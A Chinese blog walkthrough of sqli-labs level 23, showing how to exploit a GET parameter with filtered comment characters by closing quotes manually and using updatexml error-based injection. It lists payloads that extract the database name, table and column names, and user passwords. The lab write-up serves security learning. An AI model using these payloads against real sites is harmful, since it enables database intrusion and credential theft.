sqli-labs关卡23(基于get提交的过滤注释符的联合注入)

2024-01-15 22:36

本文主要是介绍sqli-labs关卡23(基于get提交的过滤注释符的联合注入),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 前言
  • 一、回顾前几关知识点
  • 二、靶场第二十三关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾前几关知识点

前几关是基于http头部注入,由于开发人员为了方便记录用户cookie、xff、user-agent、referer等头部信息与数据库交互,但是没有严格过滤这些参数,导致攻击者可以拼接任意sql语句到数据库中实现非法数据库查询。这一关是开始有过滤敏感字符了。

二、靶场第二十三关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

这一关又回到了前10关的get提交的注入了,老规矩输入万能语句 and 1=1 和and 1=2 发现页面均正常,说明不是数字型。直接提交一个单引号发现报错了(如图所示),报错信息为

Warning: mysql_fetch_array() expects parameter 1 to be resource,
boolean given in C:\tools\phpstudy_pro\WWW\sqli-labs\Less-23\index.php
on line 38 You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘‘1’’ LIMIT 0,1’ at line 1

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
我们进一步猜想看看是不是单引号,我们构造payload

1' and 1=1--+
1' and 1=2--+

发现居然都是报错,按道理应该是1=1是正常的,1=2才是页面异常,难道是我们的思路错了吗?我们仔细观察,他页面异常还是单引号闭合的问题,还是因为多了一个单引号导致sql查询语句错误。所以这里应该是注释符的问题,他没有把后面多的单引号过滤掉。本来应该是id=1’ and 1=1–+'的。所以考虑是注释符被过滤了,看源码发现注释符确实被过滤了,被替换为空了(如图所示)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以我们不能用注释符构造payload了,注释符的作用其实就是为了闭合多余的一个单引号,让我们payload顺利拼接到数据库查询。既然用不了那我们自己闭合。
payload为

1' and '1'='1

payload这样就能成功解决多一个单引号的问题了,带入数据库的语句这样就不会报错id='1' and '1'='1'(如图所示)
在这里插入图片描述

2、爆数据库名

这里由于不知道显位order by闭合payload,不知道显位是多少个,这里我就用报错注入了。这里后面加or ‘1’='1是为了闭合多余的单引号。
payload为

1' and updatexml(1,concat(0x3a,(select database()),0x3a),1) or '1'='1

在这里插入图片描述

3、爆数据库表

payload为

1' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1) or '1'='1

在这里插入图片描述

4、爆数据库列

payload为

1' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1) or '1'='1
1' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1) or '1'='1

在这里插入图片描述

在这里插入图片描述

5、爆数据库关键信息

payload为

1' or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1) or '1'='1
1' or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1) or '1'='1

在这里插入图片描述

在这里插入图片描述


总结

这一关是一个get提交的单引号闭合的注入,与之前不同的是这一关注释符被过滤为空了,我们得自己构造闭合。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

这篇关于sqli-labs关卡23(基于get提交的过滤注释符的联合注入)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/610431

相关文章

HTTP 与 SpringBoot 参数提交与接收协议方式

《HTTP与SpringBoot参数提交与接收协议方式》HTTP参数提交方式包括URL查询、表单、JSON/XML、路径变量、头部、Cookie、GraphQL、WebSocket和SSE,依据... 目录HTTP 协议支持多种参数提交方式,主要取决于请求方法(Method)和内容类型(Content-Ty

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

解决Failed to get nested archive for entry BOOT-INF/lib/xxx.jar问题

《解决FailedtogetnestedarchiveforentryBOOT-INF/lib/xxx.jar问题》解决BOOT-INF/lib/xxx.jar替换异常需确保路径正确:解... 目录Failed to get nested archive for entry BOOT-INF/lib/xxx

C语言自定义类型之联合和枚举解读

《C语言自定义类型之联合和枚举解读》联合体共享内存,大小由最大成员决定,遵循对齐规则;枚举类型列举可能值,提升可读性和类型安全性,两者在C语言中用于优化内存和程序效率... 目录一、联合体1.1 联合体类型的声明1.2 联合体的特点1.2.1 特点11.2.2 特点21.2.3 特点31.3 联合体的大小1

Java Spring的依赖注入理解及@Autowired用法示例详解

《JavaSpring的依赖注入理解及@Autowired用法示例详解》文章介绍了Spring依赖注入(DI)的概念、三种实现方式(构造器、Setter、字段注入),区分了@Autowired(注入... 目录一、什么是依赖注入(DI)?1. 定义2. 举个例子二、依赖注入的几种方式1. 构造器注入(Con

如何使用Lombok进行spring 注入

《如何使用Lombok进行spring注入》本文介绍如何用Lombok简化Spring注入,推荐优先使用setter注入,通过注解自动生成getter/setter及构造器,减少冗余代码,提升开发效... Lombok为了开发环境简化代码,好处不用多说。spring 注入方式为2种,构造器注入和setter

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满

Python中注释使用方法举例详解

《Python中注释使用方法举例详解》在Python编程语言中注释是必不可少的一部分,它有助于提高代码的可读性和维护性,:本文主要介绍Python中注释使用方法的相关资料,需要的朋友可以参考下... 目录一、前言二、什么是注释?示例:三、单行注释语法:以 China编程# 开头,后面的内容为注释内容示例:示例:四